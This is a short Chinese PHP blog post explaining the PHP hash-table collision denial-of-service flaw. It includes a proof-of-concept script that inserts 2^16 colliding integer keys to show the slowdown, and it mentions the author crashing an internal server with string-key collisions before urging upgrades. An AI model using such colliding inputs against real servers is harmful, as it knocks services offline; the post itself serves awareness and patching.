Nroe 的 PHPer 博客
具体问题就不描述了，因为网络有太多关于这个的描述和转载了。
下面引用网络上解释碰撞原理的一段话：
当然这是理想情况下，因为任何哈希表的长度都是有限的，所以一定存在不同的数据项具有相同哈希值的情况，此时不同数据项被定为到同一个桶，称为碰撞（collision）。哈希表的实现需要解决碰撞问题，碰撞解决大体有两种思路，第一种是根据某种原则将被碰撞数据定为到其它桶，例如线性探测——如果数据在插入时发生了碰撞，则顺序查找这个桶后面的桶，将其放入第一个没有被使用的桶；第二种策略是每个桶不是一个只能容纳单个数据项的位置，而是一个可容纳多个数据的数据结构（例如链表或红黑树），所有碰撞的数据以某种数据结构的形式组织起来。
PHP是使用单链表存储碰撞的数据，因此实际上PHP哈希表的平均查找复杂度为O(L)，其中L为桶链表的平均长度；而最坏复杂度为O(N)，此时所有数据全部碰撞，哈希表退化成单链表。
今天刚看到这个问题，在我本机上跑了下下面的实例代码。结果就不贴出来，已经大于 100 了，很惭愧啊。因为这个是生成整形的 HASH 碰撞代码所以对网站本身还不构成威胁。我们都知道 $_post、$_request 过来的是字符串。于是就找了一个字符串的算法，去攻击内网的一台内部服务器。结果 PHP-CGI 直接崩溃，网站就挂了。
所以这里提醒下各位 SA 同学们，该升级下程序引擎拉。因为这次涉及的语言很广，这里就不列举了，直接 GOOGLE 查询 Supercolliding a PHP array 即可。
PHP 整形 KEY 碰撞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php echo '<pre>'; $size = pow(2, 16); // 16 is just an example, could also be 15 or 17 $startTime = microtime(true); $array = array(); for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { $array[$key] = 0; } $endTime = microtime(true); echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n"; $startTime = microtime(true); $array = array(); for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) { $array[$key] = 0; } $endTime = microtime(true); echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n"; |
参考
If you enjoyed this article, please consider sharing it!
